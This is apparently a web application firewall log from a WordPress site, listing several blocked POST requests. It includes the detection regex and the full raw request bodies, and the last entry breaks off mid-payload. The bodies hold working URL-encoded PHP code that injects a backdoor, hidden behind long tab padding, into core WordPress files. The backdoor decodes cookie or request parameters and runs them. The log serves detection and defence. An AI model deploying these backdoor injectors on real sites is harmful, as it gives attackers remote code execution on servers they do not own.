["2026-05-12 09:46:21","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:4341\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nYw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:24","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4356\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nlt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:26","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4356\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nDW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:30","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B